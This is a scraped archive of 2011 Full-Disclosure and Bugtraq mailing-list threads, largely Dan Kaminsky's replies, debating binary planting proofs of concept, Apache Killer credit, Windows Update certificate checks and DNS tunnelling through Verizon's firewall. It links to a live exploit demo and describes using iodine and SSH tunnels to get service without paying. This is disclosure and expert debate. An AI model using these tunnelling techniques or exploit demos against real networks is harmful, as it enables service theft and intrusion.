\n\nThor, the "Online Proof of Concept" section of the blog post points you to a *remote*\nexploit (without any warning) but let me repeat the link here:\n\nhttp://www.binaryplanting.com/demo/XP_2-click/test.html\n\nVisit this with IE8 on 32-bit Windows XP.\n\nPlease find further information here:\n\nhttp://blog.acrossecurity.com/2011/05/anatomy-of-com-server-based-binary.html\nhttp://blog.acrossecurity.com/2011/05/silently-pwning-protected-mode-ie9-and.html\n\nIn general there are two types of remote binary planting exploits: SMB and WebDAV.\nThe former works inside (local) networks where firewalls block outbound SMB traffic.\nWebDAV attacks work through firewalls too since many firewalls allow outbound WebDAV\ntraffic and Windows silently fall back to WebDAV if SMB doesn't work. If our online\nremote exploit doesn't work for you, you can download the PoC locally and test it in\nyour local network.\n\nI'll be happy to explain it to you further if need be.\n\nThanks,\nMitja\n\n\n
-----Original Message-----\nFrom: Thor (Hammer of God) [mailto:thor () hammerofgod com]\nSent: Thursday, June 02, 2011 6:00 PM\nTo: security () acrossecurity com; 'Dan Kaminsky'\nCc: full-disclosure () lists grok org uk; bugtraq () securityfocus com\nSubject: RE: [Full-disclosure] COM Server-Based Binary\nPlanting ProofOfConcept\n\nBut it *is* worth mentioning that you have to create the\nmalicious dll file, copy it to the system, create folders\netc, and all the other mumbo jumbo to "exploit" this in the\n"default configuration." \u00c2\u00a0 So, the answer to Dan's question\nis actually, "no, you can't." \u00c2\u00a0Which brings into question the\nactual "worth" of mentioning this in the first place. :)\n\nt\n\n
-----Original Message-----\nFrom: full-disclosure-bounces () lists grok org uk\n[mailto:full-disclosure- bounces () lists grok org uk] On\n
Behalf Of ACROS\n
Security Lists\nSent: Thursday, June 02, 2011 8:42 AM\nTo: 'Dan Kaminsky'; security () acrossecurity com\nCc: full-disclosure () lists grok org uk; bugtraq () securityfocus com\nSubject: Re: [Full-disclosure] COM Server-Based Binary\n
Planting Proof\n
OfConcept\n\nIt would hardly be worth mentioning otherwise.\n\nCheers,\nMitja\n\n
-----Original Message-----\nFrom: full-disclosure-bounces () lists grok org uk\n[mailto:full-disclosure-bounces () lists grok org uk] On\n
Behalf Of Dan\n
Kaminsky\nSent: Thursday, June 02, 2011 5:36 PM\nTo: security () acrossecurity com\nCc: si-cert () arnes si; full-disclosure () lists grok org uk;\nbugtraq () securityfocus com; cert () cert org\nSubject: Re: [Full-disclosure] COM Server-Based Binary Planting\nProof OfConcept\n\nDoes this run code without prompting, on a reasonably default\nconfiguration?\n\nOn Thu, Jun 2, 2011 at 7:52 AM, ACROS Security Lists\n<lists () acros si>\nwrote:\n
\n\nWe published a remote/local proof of concept for the COM\n
Server-Based\n
Binary Planting exploit presented at the Hack in the Box\n
conference in Amsterdam.\n
\n\nFeel free to try it out online if WebDAV works through your\n
firewall,\n
or download it and test it in your local network or simply\n
on your computer.\n
\n\n\n
\n\n
http://blog.acrossecurity.com/2011/06/com-server-based-binary-planti\n
ng\n
-proof.html\nor\nhttp://bit.ly/iSxHKO\n\nBest regards,\n\nMitja Kolsek\nCEO&CTO\n\nACROS, d.o.o.\nMakedonska ulica 113\nSI - 2000 Maribor, Slovenia\ntel: +386 2 3000 280\nfax: +386 2 3000 282\nweb: http://www.acrossecurity.com\n\nACROS Security: Finding Your Digital Vulnerabilities Before\n
Others Do\n
\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n
\n\n\n
\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2011/Jul/89", "subject": "Re: Binary Planting Goes \"Any File Type\"", "index_author": "Dan Kaminsky (Jul 08)", "frm": "Dan Kaminsky ", "date": "Fri, 8 Jul 2011 12:10:31 -0700", "body_html": "\n
And here's where your exploit stops being one:\n\n===\nSuppose the current version of Apple Safari (5.0.5) is our default web\nbrowser.\u00c2\u00a0If we put the above files in the same directory (on a local\ndrive or a remote share) and double-click\u00c2\u00a0Test.html, what happens is\nthe following:\n===\n\nAt this point, Test.html might actually be test.exe with the HTML icon\nembedded.  Everything else then is unnecessary obfuscation -- code\nexecution was already possible the start by design.\n\nThis is a neat vector though, and it's likely that with a bit more\nwork it could be turned into an actual RCE.\n\nOn Fri, Jul 8, 2011 at 10:38 AM, ACROS Security Lists <lists () acros si> wrote:\n
\n\nWe published a blog post on a nice twist to binary planting which we call "File\nPlanting." There'll be much more of this from us in the future, but here's the first\nsample for you to (hopefully) enjoy.\n\nhttp://blog.acrossecurity.com/2011/07/binary-planting-goes-any-file-type.html\n\nor\n\nhttp://bit.ly/nXmRFD\n\n\nBest regards,\n\nMitja Kolsek\nCEO&CTO\n\nACROS, d.o.o.\nMakedonska ulica 113\nSI - 2000 Maribor, Slovenia\ntel: +386 2 3000 280\nfax: +386 2 3000 282\nweb: http://www.acrossecurity.com\nblg: http://blog.acrossecurity.com\n\nACROS Security: Finding Your Digital Vulnerabilities Before Others Do\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2011/Jul/96", "subject": "Re: Binary Planting Goes \"Any File Type\"", "index_author": "Dan Kaminsky (Jul 08)", "frm": "Dan Kaminsky ", "date": "Fri, 8 Jul 2011 16:26:17 -0700", "body_html": "\n
It's a nice attempt, but no.  The social engineering required to pull\nthat off exceeds what's required to get somebody to download and\nexecute setup.exe, and we don't call that RCE either.\n\nHundreds of false bugs are blinding you to probably a dozen real bugs.\n Likely more.  In security as in finance, the bad drives out the good.\n\n\nOn Fri, Jul 8, 2011 at 4:11 PM, Mitja Kolsek\n<mitja.kolsek () acrossecurity com> wrote:\n
Ok, Dan, just for you:\n\nLaunch Internet Explorer 9 on Windows 7 (probably other IE/Win works too), go to File->Open (or press Ctrl+O), browse \nto Test.html and open it. No double-clicking and you couldn't launch an executable this way. Better?\n\nCheers,\nMitja\n\nOn Jul 8, 2011, at 9:10 PM, Dan Kaminsky <dan () doxpara com> wrote:\n\n
And here's where your exploit stops being one:\n\n===\nSuppose the current version of Apple Safari (5.0.5) is our default web\nbrowser. If we put the above files in the same directory (on a local\ndrive or a remote share) and double-click Test.html, what happens is\nthe following:\n===\n\nAt this point, Test.html might actually be test.exe with the HTML icon\nembedded. \u00c2\u00a0Everything else then is unnecessary obfuscation -- code\nexecution was already possible the start by design.\n\nThis is a neat vector though, and it's likely that with a bit more\nwork it could be turned into an actual RCE.\n\nOn Fri, Jul 8, 2011 at 10:38 AM, ACROS Security Lists <lists () acros si> wrote:\n
\n\nWe published a blog post on a nice twist to binary planting which we call "File\nPlanting." There'll be much more of this from us in the future, but here's the first\nsample for you to (hopefully) enjoy.\n\nhttp://blog.acrossecurity.com/2011/07/binary-planting-goes-any-file-type.html\n\nor\n\nhttp://bit.ly/nXmRFD\n\n\nBest regards,\n\nMitja Kolsek\nCEO&CTO\n\nACROS, d.o.o.\nMakedonska ulica 113\nSI - 2000 Maribor, Slovenia\ntel: +386 2 3000 280\nfax: +386 2 3000 282\nweb: http://www.acrossecurity.com\nblg: http://blog.acrossecurity.com\n\nACROS Security: Finding Your Digital Vulnerabilities Before Others Do\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n
\n\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/bugtraq/2011/Jul/76", "subject": "Re: [Full-disclosure] Binary Planting Goes \"Any File Type\"", "index_author": "Dan Kaminsky (Jul 11)", "frm": "Dan Kaminsky ", "date": "Fri, 8 Jul 2011 12:10:31 -0700", "body_html": "\n
And here's where your exploit stops being one:\n\n===\nSuppose the current version of Apple Safari (5.0.5) is our default web\nbrowser.\u00c2\u00a0If we put the above files in the same directory (on a local\ndrive or a remote share) and double-click\u00c2\u00a0Test.html, what happens is\nthe following:\n===\n\nAt this point, Test.html might actually be test.exe with the HTML icon\nembedded.  Everything else then is unnecessary obfuscation -- code\nexecution was already possible the start by design.\n\nThis is a neat vector though, and it's likely that with a bit more\nwork it could be turned into an actual RCE.\n\nOn Fri, Jul 8, 2011 at 10:38 AM, ACROS Security Lists <lists () acros si> wrote:\n
\n\nWe published a blog post on a nice twist to binary planting which we call "File\nPlanting." There'll be much more of this from us in the future, but here's the first\nsample for you to (hopefully) enjoy.\n\nhttp://blog.acrossecurity.com/2011/07/binary-planting-goes-any-file-type.html\n\nor\n\nhttp://bit.ly/nXmRFD\n\n\nBest regards,\n\nMitja Kolsek\nCEO&CTO\n\nACROS, d.o.o.\nMakedonska ulica 113\nSI - 2000 Maribor, Slovenia\ntel: +386 2 3000 280\nfax: +386 2 3000 282\nweb: http://www.acrossecurity.com\nblg: http://blog.acrossecurity.com\n\nACROS Security: Finding Your Digital Vulnerabilities Before Others Do\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n
\n"}, {"url": "https://seclists.org/bugtraq/2011/Jul/83", "subject": "Re: [Full-disclosure] Binary Planting Goes \"Any File Type\"", "index_author": "Dan Kaminsky (Jul 11)", "frm": "Dan Kaminsky ", "date": "Fri, 8 Jul 2011 16:26:17 -0700", "body_html": "\n
It's a nice attempt, but no.  The social engineering required to pull\nthat off exceeds what's required to get somebody to download and\nexecute setup.exe, and we don't call that RCE either.\n\nHundreds of false bugs are blinding you to probably a dozen real bugs.\n Likely more.  In security as in finance, the bad drives out the good.\n\n\nOn Fri, Jul 8, 2011 at 4:11 PM, Mitja Kolsek\n<mitja.kolsek () acrossecurity com> wrote:\n
Ok, Dan, just for you:\n\nLaunch Internet Explorer 9 on Windows 7 (probably other IE/Win works too), go to File->Open (or press Ctrl+O), browse \nto Test.html and open it. No double-clicking and you couldn't launch an executable this way. Better?\n\nCheers,\nMitja\n\nOn Jul 8, 2011, at 9:10 PM, Dan Kaminsky <dan () doxpara com> wrote:\n\n
And here's where your exploit stops being one:\n\n===\nSuppose the current version of Apple Safari (5.0.5) is our default web\nbrowser. If we put the above files in the same directory (on a local\ndrive or a remote share) and double-click Test.html, what happens is\nthe following:\n===\n\nAt this point, Test.html might actually be test.exe with the HTML icon\nembedded. \u00c2\u00a0Everything else then is unnecessary obfuscation -- code\nexecution was already possible the start by design.\n\nThis is a neat vector though, and it's likely that with a bit more\nwork it could be turned into an actual RCE.\n\nOn Fri, Jul 8, 2011 at 10:38 AM, ACROS Security Lists <lists () acros si> wrote:\n
\n\nWe published a blog post on a nice twist to binary planting which we call "File\nPlanting." There'll be much more of this from us in the future, but here's the first\nsample for you to (hopefully) enjoy.\n\nhttp://blog.acrossecurity.com/2011/07/binary-planting-goes-any-file-type.html\n\nor\n\nhttp://bit.ly/nXmRFD\n\n\nBest regards,\n\nMitja Kolsek\nCEO&CTO\n\nACROS, d.o.o.\nMakedonska ulica 113\nSI - 2000 Maribor, Slovenia\ntel: +386 2 3000 280\nfax: +386 2 3000 282\nweb: http://www.acrossecurity.com\nblg: http://blog.acrossecurity.com\n\nACROS Security: Finding Your Digital Vulnerabilities Before Others Do\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n
\n\n
\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2011/Aug/271", "subject": "Re: Apache Killer", "index_author": "Dan Kaminsky (Aug 24)", "frm": "Dan Kaminsky ", "date": "Wed, 24 Aug 2011 22:00:22 -0700", "body_html": "\n
On Wed, Aug 24, 2011 at 9:45 PM, root <root_ () fibertel com ar> wrote:\n\n
On 08/25/2011 01:33 AM, Michal Zalewski wrote:\n
Good catch, but you didn't provide for a working exploit at the time.\n\nNow I only see your name on the press. Why?\n
\n\nI don't know why this is in the news at all, let alone with any\nspecific attribution. Perhaps you wanted to ask the journalists?;-)\n\n/mz\n\n
\n\nFair enough.\nJournalist, next time please use this headline:\n\n"Asshole hacker Kingwhatever post Apache DoS exactly on friday night.\nGoogle reportedly has nothing to do with it."\n\n\n
So it's come to pass that there's more gold per ton of landfill, than there\nis in the raw earth.\n\nIt's still gold.\n\nSeriously.  This is Zalewski we're talking about.  If you've extended his\nwork, you're doing something right.\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2011/Aug/274", "subject": "Re: Apache Killer", "index_author": "Dan Kaminsky (Aug 24)", "frm": "Dan Kaminsky ", "date": "Wed, 24 Aug 2011 23:42:05 -0700", "body_html": "\n
On Wed, Aug 24, 2011 at 10:52 PM, root <root_ () fibertel com ar> wrote:\n\n
\n\n
Seriously.  This is Zalewski we're talking about.  If you've extended his\nwork, you're doing something right.\n
\n\n\nOr perhaps, not. Respectfully, fuck this elitist bullshit.\nI'm sure you and your friend are good hard-working guys. But you should\nnot be the focus of every press release, specially if you didn't find\nthe damn bug.\n\n\n
OK, so I looked into it.\n\nZalewski's stuff in 2007 was about bandwidth amplification -- with a few\nrequests, you could get a server to send you a truly enormous amount of\ndata.  Kingcope's attack shares the same vector (multiple range requests)\nbut uses it entirely differently, not as a drain of bandwidth on the client\nbut against memory on the server.  Different DoS, same buggy code.\n\nThink of it like memory corruption -- in one person's hands, the daemon\nsimply crashes.  In another's, a reverse shell is born.\n\nI don't think the press has made Zalewski the focus, though.  I looked at\nthe various articles on Google News; here's the distribution of credit I\nsee:\n\nRegister:  Credits both Kingcope and Zalewski by name\nComputerworld:  Credits both Kingcope and Zalewski by name\nLWN/Apache:  Credits neither, but links to Kingcope's post directly\nH-Online:  Credits neither, but links to Kingcope's post directly\nZDNet:  Credits neither, but links to Kingcope's post directly\nSlashdot:  Links to Kingcope's post directly, credits Zalewski by name\nCRN: Credits Kingcope exclusively\n\nFor the record, it's a solid find.\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2011/Sep/87", "subject": "Re: Recent claims that windows update is broken", "index_author": "Dan Kaminsky (Sep 09)", "frm": "Dan Kaminsky ", "date": "Fri, 9 Sep 2011 15:09:25 -0700", "body_html": "\n
On Thu, Sep 8, 2011 at 2:55 AM, Georgi Guninski <guninski () guninski com>wrote:\n\n
http://www.theregister.co.uk/2011/09/07/diginotar_hacker_proof/\n"I'm able to issue windows update," he [Comodohacker] wrote. "Microsoft's\nstatement about Windows Update and that I can't issue such update is totally\nfalse!"\n\nThe original Comodohacker statement is at: http://pastebin.com/85WV10EL\n\nIs this true?\n\n
\n\nFor the record, no.  Windows Update doesn't just depend on WinVerifyTrust,\nit also calls CertVerifyCertificateChainPolicy with\nthe CERT_CHAIN_POLICY_MICROSOFT_ROOT flag, documented here:\n\nhttp://msdn.microsoft.com/en-us/library/aa377163(v=vs.85).aspx\n\n\n\n
\n\n--\njoro\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2011/Sep/97", "subject": "Re: Recent claims that windows update is broken", "index_author": "Dan Kaminsky (Sep 10)", "frm": "Dan Kaminsky ", "date": "Sat, 10 Sep 2011 12:41:50 -0700", "body_html": "\n
\n\n
For the record, no.  Windows Update doesn't just depend on\n
WinVerifyTrust,\n
it also calls CertVerifyCertificateChainPolicy with\nthe CERT_CHAIN_POLICY_MICROSOFT_ROOT flag, documented here:\n\nhttp://msdn.microsoft.com/en-us/library/aa377163(v=vs.85).aspx\n\n\n\n
\n\nBy your logic there would be no exploits just because the documentation\nwrites so.\n\n
\n\nNothing's stopping you from hooking CertVerifyCertificateChainPolicy and\nseeing for yourself :)  See also:\n\nhttp://twitter.com/#!/thierryzoller/status/112240979079204864\n\n@thierryzoller: @dakami that finally explains why i didnt succeed in mitm it\nfew years ago\n\n\n
\n\nI bothered to ask mainly for these reasons:\n\n1. It is unclear to me what collection of private keys/certs Comodohacker\nhas\n\n
\n\nHe's been hitting certificates that have public interfaces, because as we\nknow, most public interfaces are terrible.\n\nI do not expect the Microsoft Root to have a public interface.\n\n\n
2. From thereg article:\n
Microsoft declined to comment.\n
\n\n
\n\nMicrosoft commented rather clearly here:\n\nhttp://bit.ly/q0JpIT\n\nAttackers are not able to leverage a fraudulent Windows Update certificate\nto install malware via the Windows Update servers. The Windows Update client\nwill only install binary payloads signed by the actual Microsoft root CA\ncertificate, which is issued and secured by Microsoft. Also, Windows Update\nitself is not at risk, even to an attacker with a fraudulent certificate.\n\nObviously the guy's got all sorts of illicit access.  Just probably not\nthis.\n\n
\n\n--\ngeorgi\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2011/Sep/299", "subject": "Re: Twitter URL spoofing still exploitable", "index_author": "Dan Kaminsky (Sep 27)", "frm": "Dan Kaminsky ", "date": "Tue, 27 Sep 2011 06:26:57 -0700", "body_html": "\n
\n\nOk, now nobody can spoof a URL, but how come a user will tell good\nURLs and bad ones apart? Oh boy!\n\n\n
Wherever did you get the idea that users can do this?\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2011/Oct/354", "subject": "Re: Verizon Wireless DNS Tunneling", "index_author": "Dan Kaminsky (Oct 07)", "frm": "Dan Kaminsky ", "date": "Fri, 7 Oct 2011 03:35:22 -0700", "body_html": "\n
Works mostly everywhere.  It's apparently enough of a pain in the butt to\ndeal with, and abused so infrequently, that it's left alone.\n\nOn Fri, Oct 7, 2011 at 3:32 AM, Marshall Whittaker <\nmarshallwhittaker () gmail com> wrote:\n\n
I recently noticed that you can tunnel TCP through DNS (I used iodine) to\npenetrate Verizon Wireless' firewall.  You can connect, and if you can hold\nthe connection long enough to make a DNS tunnel, then the connection stays\nup, then use SSH -D to create a proxy server for your traffic. Bottom line\nis, you can use the internet without paying. I made a video of it.  It can\nbe seen here:\nhttp://www.youtube.com/user/Oxagast?blend=2&ob=5#p/u/0/X6oWESQMVd8 I tried\nto contact Verizon on their security blog about it a few weeks ago at\nhttp://securityblog.verizonbusiness.com/ however, I have not had a\nresponse.  This technique still works as of this posting.  Maybe this will\nhelp them get their act together ;-)\n\n--oxagast\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2011/Oct/362", "subject": "Re: Verizon Wireless DNS Tunneling", "index_author": "Dan Kaminsky (Oct 07)", "frm": "Dan Kaminsky ", "date": "Fri, 7 Oct 2011 07:05:54 -0700", "body_html": "\n
One major reason it sticks around is -- what are you supposed to do, return\nbad data until the user is properly logged in?  It might get cached -- and\nwhile operating systems respect TTL, browsers most assuredly do not ("well,\nit MIGHT take us somewhere good").\n\nIt's not like there's a magic off switch that makes this go away.\n\nOn Fri, Oct 7, 2011 at 4:56 AM, Marshall Whittaker <\nmarshallwhittaker () gmail com> wrote:\n\n
Yes, I've found that DNS tunneling works well at the college I go to on\ntheir WIFI.  I've never gotten ICMP tunneling to work myself (outside of a\nvirtual machine),  but I have some code laying around somewhere that can do\nit just in case I need it for something sometime.  Just thought it would be\ninteresting to some people that it works on such a large provider as\nVerizon.  The only problem with it that I see is that it's quite slow.  But\nif it works, so be it.  Good for checking email and browsing the web and\nsuch on the road.  But I wouldn't try to torrent a linux distro with it,\nhaha.\n\n--oxagast\n\nOn Fri, Oct 7, 2011 at 7:39 AM, BH <lists () blackhat bz> wrote:\n\n
 This comes in handy when travelling, I also found a few places where ICMP\ntunnelling works well.\n\n\nOn 7/10/2011 6:35 PM, Dan Kaminsky wrote:\n\nWorks mostly everywhere.  It's apparently enough of a pain in the butt to\ndeal with, and abused so infrequently, that it's left alone.\n\nOn Fri, Oct 7, 2011 at 3:32 AM, Marshall Whittaker <\nmarshallwhittaker () gmail com> wrote:\n\n
I recently noticed that you can tunnel TCP through DNS (I used iodine) to\npenetrate Verizon Wireless' firewall.  You can connect, and if you can hold\nthe connection long enough to make a DNS tunnel, then the connection stays\nup, then use SSH -D to create a proxy server for your traffic. Bottom line\nis, you can use the internet without paying. I made a video of it.  It can\nbe seen here:\nhttp://www.youtube.com/user/Oxagast?blend=2&ob=5#p/u/0/X6oWESQMVd8 I\ntried to contact Verizon on their security blog about it a few weeks ago at\nhttp://securityblog.verizonbusiness.com/ however, I have not had a\nresponse.  This technique still works as of this posting.  Maybe this will\nhelp them get their act together ;-)\n\n --oxagast\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2011/Oct/364", "subject": "Re: Verizon Wireless DNS Tunneling", "index_author": "Dan Kaminsky (Oct 07)", "frm": "Dan Kaminsky ", "date": "Fri, 7 Oct 2011 07:31:29 -0700", "body_html": "\n
Yeah, the problem is the bad data doesn't flush after authentication.  So\nyou try to go to Google, you're redirected to 10.0.0.1, you get\nauthenticated, but the browser still tries to go to 10.0.0.1.  You try\nhandling those support calls.  So instead most places give you real DNS, and\nhijack at IP/TCP.\n\nOn Fri, Oct 7, 2011 at 7:26 AM, James Wright <jamfwright () gmail com> wrote:\n\n
Actually, yes, they could provide bad data.  I believe (perhaps\nerroneously) that Comcast does this.  Probably other service providers do\ntoo.  Until you are authenticated to use their network you are redirected to\na service page that can help authenticate you.  If you have connectivity\nissues (like bad cached DNS entries) after authenticating you are to reboot\n(or otherwise clear the local DNS cache).\n\nI don't really see why Verizon could not do similar.  All DNS traffic from\nan unauthenticated user/machine would be redirected to a DNS server that\nonly returned the appropriate service page.  Most or all other traffic would\nbe blocked.  Much like NAC.\n\n\nThanks,\nJames\n\n\n\nOn Fri, Oct 7, 2011 at 10:05 AM, Dan Kaminsky <dan () doxpara com> wrote:\n\n
One major reason it sticks around is -- what are you supposed to do,\nreturn bad data until the user is properly logged in?  It might get cached\n-- and while operating systems respect TTL, browsers most assuredly do not\n("well, it MIGHT take us somewhere good").\n\nIt's not like there's a magic off switch that makes this go away.\n\nOn Fri, Oct 7, 2011 at 4:56 AM, Marshall Whittaker <\nmarshallwhittaker () gmail com> wrote:\n\n
Yes, I've found that DNS tunneling works well at the college I go to on\ntheir WIFI.  I've never gotten ICMP tunneling to work myself (outside of a\nvirtual machine),  but I have some code laying around somewhere that can do\nit just in case I need it for something sometime.  Just thought it would be\ninteresting to some people that it works on such a large provider as\nVerizon.  The only problem with it that I see is that it's quite slow.  But\nif it works, so be it.  Good for checking email and browsing the web and\nsuch on the road.  But I wouldn't try to torrent a linux distro with it,\nhaha.\n\n--oxagast\n\nOn Fri, Oct 7, 2011 at 7:39 AM, BH <lists () blackhat bz> wrote:\n\n
 This comes in handy when travelling, I also found a few places where\nICMP tunnelling works well.\n\n\nOn 7/10/2011 6:35 PM, Dan Kaminsky wrote:\n\nWorks mostly everywhere.  It's apparently enough of a pain in the butt\nto deal with, and abused so infrequently, that it's left alone.\n\nOn Fri, Oct 7, 2011 at 3:32 AM, Marshall Whittaker <\nmarshallwhittaker () gmail com> wrote:\n\n
I recently noticed that you can tunnel TCP through DNS (I used iodine)\nto penetrate Verizon Wireless' firewall.  You can connect, and if you can\nhold the connection long enough to make a DNS tunnel, then the connection\nstays up, then use SSH -D to create a proxy server for your traffic. Bottom\nline is, you can use the internet without paying. I made a video of it.  It\ncan be seen here:\nhttp://www.youtube.com/user/Oxagast?blend=2&ob=5#p/u/0/X6oWESQMVd8 I\ntried to contact Verizon on their security blog about it a few weeks ago at\nhttp://securityblog.verizonbusiness.com/ however, I have not had a\nresponse.  This technique still works as of this posting.  Maybe this will\nhelp them get their act together ;-)\n\n --oxagast\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2011/Oct/379", "subject": "Re: Verizon Wireless DNS Tunneling", "index_author": "Dan Kaminsky (Oct 07)", "frm": "Dan Kaminsky ", "date": "Fri, 7 Oct 2011 12:51:19 -0700", "body_html": "\n
You never know what you'll be breaking, but you always know you'll be paying\nfor support calls.\n\nOn Fri, Oct 7, 2011 at 12:38 PM, Hartley, Christopher <hartley.87 () osu edu>wrote:\n\n
I would think that at minimum, thresholds could be set on how many names to\nresolve, and permitted types for unauthenticated users.  Prohibit NULL and\nTXT records for unauthenticated hosts - or just whitelist A and CNAMEs,\nreject others.  Reject the 50th (or whatever) query from an unauthenticated\nhost/user... I don't think NACs are using DNS tricks in the main anymore\nanyway.  They shouldn't be...  there are much better ways.\n\nThat said, I'm happy for this condition to exist permanently so long as I'm\nnot responsible for the traffic.\n\n\nOn Oct 7, 2011, at 10:26 AM, James Wright wrote:\n\nActually, yes, they could provide bad data.  I believe (perhaps\nerroneously) that Comcast does this.  Probably other service providers do\ntoo.  Until you are authenticated to use their network you are redirected to\na service page that can help authenticate you.  If you have connectivity\nissues (like bad cached DNS entries) after authenticating you are to reboot\n(or otherwise clear the local DNS cache).\n\nI don't really see why Verizon could not do similar.  All DNS traffic from\nan unauthenticated user/machine would be redirected to a DNS server that\nonly returned the appropriate service page.  Most or all other traffic would\nbe blocked.  Much like NAC.\n\n\nThanks,\nJames\n\n\nOn Fri, Oct 7, 2011 at 10:05 AM, Dan Kaminsky <dan () doxpara com> wrote:\n\n
One major reason it sticks around is -- what are you supposed to do,\nreturn bad data until the user is properly logged in?  It might get cached\n-- and while operating systems respect TTL, browsers most assuredly do not\n("well, it MIGHT take us somewhere good").\n\nIt's not like there's a magic off switch that makes this go away.\n\nOn Fri, Oct 7, 2011 at 4:56 AM, Marshall Whittaker <\nmarshallwhittaker () gmail com> wrote:\n\n
Yes, I've found that DNS tunneling works well at the college I go to on\ntheir WIFI.  I've never gotten ICMP tunneling to work myself (outside of a\nvirtual machine),  but I have some code laying around somewhere that can do\nit just in case I need it for something sometime.  Just thought it would be\ninteresting to some people that it works on such a large provider as\nVerizon.  The only problem with it that I see is that it's quite slow.  But\nif it works, so be it.  Good for checking email and browsing the web and\nsuch on the road.  But I wouldn't try to torrent a linux distro with it,\nhaha.\n\n--oxagast\n\nOn Fri, Oct 7, 2011 at 7:39 AM, BH <lists () blackhat bz> wrote:\n\n
